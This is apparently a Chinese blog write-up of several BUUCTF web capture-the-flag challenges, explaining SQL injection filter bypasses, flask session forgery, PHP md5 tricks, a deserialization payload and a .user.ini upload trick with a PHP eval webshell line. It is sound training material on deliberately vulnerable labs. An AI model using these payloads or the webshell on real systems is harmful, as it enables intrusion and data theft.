BUUCTF web记录 3
0x00 [极客大挑战 2019]BabySQL
打开题目,还是熟悉的用户名密码注入界面
首先判断闭合类型,用户名随便写,密码栏填个b'
,发现报错,说明查询语句是单引号闭合。
然后尝试一下密码b' or 1=1 #
,发现报错信息中只有'1=1 #''
。一开始我也不知道是怎么回事,查阅资料之后才知道,原来有的waf会对or
、select
等SQL语句关键字做过滤,比如直接替换为空,所以这题要使用双写绕过。
试着使用union查询,输入b' ununionion seselectlect 1,2,3 #
,显示成功登录信息,说明被查询的表的列数为3。
接下来就是套路化的操作,精髓是使用information_schema
等记录数据库自身信息的数据库,以及group_concat()
函数。因为看到了2和3的回显,所以把2和3替换为其它表达式可以进行注入。
懒得放截图,直接把回显结果贴一下。
首先查看当前数据库
|
|
|
|
查看所有数据库
|
|
|
|
看到一个ctf
库,再去爆这个数据库的表
|
|
|
|
其中有个Flag
表,然后再去爆字段
|
|
|
|
其中有flag
字段,再去爆数据
|
|
拿到flag
|
|
个人感觉,这题的要点在于数据库本身信息数据库的内容,以及group_concat
的使用,双写绕过其实是个很简单的东西。
参考链接:
0x01 [极客大挑战 2019]HardSQL
可以试出是单引号闭合,但是空格被过滤了,所以使用报错注入
这题的主要知识点就是利用updatexml()
和extractvalue()
函数进行报错注入。使用concat()
函数,再加上~
或者@
等能够引起路径参数报错的字符,将形如concat(0x7e, 语句, 0x7e)
这样的结果作为参数,就能够得到XPATH syntax error: '回显结果'
这样的报错信息,实现注入。
参考链接:
0x02 [HCTF 2018]admin
这是一道很有趣的题,网站提供了注册、登录、修改密码等功能。
看源码大致可以感觉到,需要你以admin
身份登录,才能够获取flag,但是admin
是已经注册过的用户,所以在不知道admin
密码的情况下无法登录。
查阅一些wp之后,可以得到3种解法。
解法1:弱密码
这是很扯的一个解法,可以理解为,机缘巧合,直接试出来了admin
的密码是123
🤣,登录拿到flag
解法2:unicode欺骗
预期解之一。查看网页源码可以看到该web应用是一个flask应用,源码地址为https://github.com/woadsl1234/hctf_flask
查看源码中的路由逻辑routes.py
,其中的login
与change
路由处理逻辑使用了过时版本twisted框架中的nodeprep.prepare()
函数,该函数会将ᴬ
转换为A
,然后转换为小写的a
(这个知识点我也不知道获取的渠道是什么)。
|
|
ᴬDMIN
用户,然后修改密码。在注册与修改密码的过程中username会发生如下转变ᴬDMIN
->Admin
->admin
,所以相当于能够控制admin
用户的密码,然后就能够以admin
用户的身份登录,获取flag。解法3: 修改flask session
那个web应用是个flask应用,flask是将session
保存在本地的,并且没有做加密,而是仅仅进行了签名以防篡改,而搜索源代码可以看到其签名使用的密钥为ckj123
。
|
|
所以,我们可以用burp拦截普通用户登录后查看Index页面的请求,再使用flask session编解码工具解码拦截到的session
,然后修改其中的用户ID,再重发请求,即可获得flag。
将name
改为admin
,再进行签名。
参考链接:
0x03 [BJDCTF2020]Easy MD5
一道考察php中的md5()
用法的题。
网站长这样
level1
首先随便输入,抓包得到hint提示
可以看到提交请求对应的语句为
|
|
这里要注入的话就得使md5($pass, true)
值为' or 'xxx
,也就是要找个字符串使其md5结果满足这一要求。遍历可以爆出结果,但其实有经验的话就知道"ffifdyop"
满足上述需求,是md5注入时常用的字符串,其md5结果为' or '6xxxxx
。
|
|
放到上述语句就相当于
|
|
level2
注入通过之后,到了第二关
又可以看到提示,要求$a != $b
但是md5($a) == md5($b)
。
要满足前面的!=
和后面的弱相等,存在两种情况:
md5($a)
与md5($b)
结果以0e
开头。php在处理这样的哈希字符串时会将其当作科学计数法,并且底数为0,所以结果都为0$a
与$b
为数组。md5()
无法处理数组输入,所以会返回null
,这种情况也满足上述条件
具体内容可以参照这篇博客
所以,直接选两个不同的但是md5结果都以0e
开头的字符串作为a b的值即可。
level3
第三关要求$_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])
这里传入数组就可。除此之外,还可以找两个不同的但是md5结果相同的字符串,这理论上来说是存在的,但是我目前还没有查到现有的结果。
参考链接:
0x04 [CISCN2019 华北赛区 Day2 Web1]Hack World
试一下就知道,or
and
union
等关键字都被过滤了,所以不能union注入或者报错注入。
以及输入1
和2
是可以看到正常的回显结果的
|
|
google之后可以知道,还有一种注入叫做异或注入,这也是这题的考察点。
所以思路就是使用异或注入,逐位爆破flag的内容。
直接上脚本,注意每次请求之间加个sleep
,不然会出错,因为请求之间间隔太短,导致收到的结果可能会顺序错乱。
|
|
0x05 [网鼎杯 2020 青龙组]AreUSerialz
这是一道反序列化的题,可以看到源码
|
|
定义了一个FileHandler
类,并且会将接受到的$_GET['str']
请求参数进行反序列化。
感觉应该是要反序列化得到FileHandler
对象,然后通过__construct()
或__destruct()
魔术方法来读取flag.php
的内容。
类的$op
变量为1对应写操作,2对应读操作。
__construct()
里面写死了$op="1"
,所以无法执行process()
中的读取操作。
但是__destruct()
里又会将$op
从2变为1,所以需要想办法绕过这一逻辑。绕过的利用点就在于,这里使用的判断逻辑是强相等===
,所以将$op
定义为数字类型2,就可以绕过该判断,同时满足process()
函数中的$op=="2"
判断,因为这里是弱相等,存在自动类型转换。
需要注意的是:
-
方便起见,flag.php
利用php的伪协议php://filter/read=convert.base64-encode=flag.php
来读取 -
php对于
private
/protected
类型的成员变量进行序列化时会加上包含00字节的特殊内容,但是这无法通过$is_valid()
判断。可以将序列化结果中的s
替换为S
,使其后面的内容支持16进制,然后空字节写成\00
即可Note:
Object’s private members have the class name prepended to the member name; protected members have a ‘*’ prepended to the member name. These prepended values have null bytes on either side.
payload1
所以,最常规的payload可以通过以下方式生成:
|
|
执行结果
|
|
请求?str=O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3BS%3A8%3A%22flag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3BS%3A0%3A%22%22%3B%7D
即可获取flag。
payload2
还可以利用php的伪协议来获取flag.php
文件的base64编码,然后再解码,也是一样的。
payload为
|
|
payload3
其实,网站信息中显示其使用的php版本为7.4.3,而7.1+版本的php在序列化与反序列化时对于private
/protected
是不敏感的,所以可以直接把上述的成员变量都当作public
。
于是可以这样生成payload
|
|
|
|
同样可以拿到flag。
总结
这题的意义在于php的序列化与反序列化、序列化结果字段的含义、php7.1版本对于序列化反序列化操作的变化
参考链接
0x06 [SUCTF 2019]CheckIn
文件上传题
网站把php文件的常用后缀名都过滤了,并且把文件中的<?
内容也给过滤了。考虑用<script language='php'>@eval($_POST["password"]);</script>
的写法来绕过。
要知道,想利用webshell的话,必须要能够让服务端将你上传的文件当作php文件去解析,而这题过滤了php文件的后缀名,所以我们无法上传一个php文件,而只能上传一个含有php🐎的图片文件。
所以第二个问题就是怎么让服务端将我们上传的图片文件作为php文件去解析。在这种情况下,可以使用apache的.htaccess
文件设置让服务端将某个文件当作php文件解析。但是这题环境是nginx,所以没有.htaccess
。再查阅资料可知,.user.ini
也是一个可以控制php设置的一个特殊文件。所以这题的思路是先上传.user.ini
文件,设置在php文件中加载接下来要上传的图片文件,然后上传含有php🐎的图片文件。
两个文件内容
.user.ini
|
|
zyleo.jpg
|
|
上传之后,看到上传目录为uploads/fb....b2
,其中也有index.php
,这就是连接webshell的地址
然后蚁剑连接就行了
url地址
:http://8d42f662-e446-4b96-afd8-ab3d2694bfa1.node4.buuoj.cn:81/uploads/fb10500f3a8407c9ec6ac288f25439b2/index.php
连接密码
:zyleo
参考连接:
0x07 [GXYCTF2019]BabySQli
这题两个输入框,试一下就可以发现,注入点是UserName
。
UserName
试了一下a' or 1=1#
,页面返回Do not hack me
,说明被过滤了。
再试a' union select 1,2#
,返回Error: The used SELECT statements have a different number of columns
。说明sql语句的查询结果不止2列,可以尝试出来是3列。
同时,用户名输admin
,返回的是wrong pass
,用户名输其他的返回的是wrong user
,说明这题要满足的条件是用户名UserName
为admin
。同时a' union select 1,'admin',3#
报的是wrong pass
,说明username在查询结果的第二列。
查看网页源码,发现有search.php
的提示信息,查看search.php
,可以看到
|
|
上面的是base32编码,解码得到c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==
,再经过base64解码得到该网站的sql查询语句select * from user where username = '$name'
。
查询语句里没有密码字段,所以可以推测,密码字段应该是在后端被拿来对比了。同时再猜测(😂好吧其实是查阅博客,但是这些博客也没哪个讲清除了)是将我们的输入的值的md5与密码的md5结果相对比。
猜到这里就可以做了。使用union
联合查询构造查询结果,就可以自己控制md5内容,然后再输入对应的密码内容即可。
payload:
a' union select 1, 'admin', '900150983cd24fb0d6963f7d28e17f72'#
abc
flag{35de0117-ce39-40bd-8de4-40535e1a5274}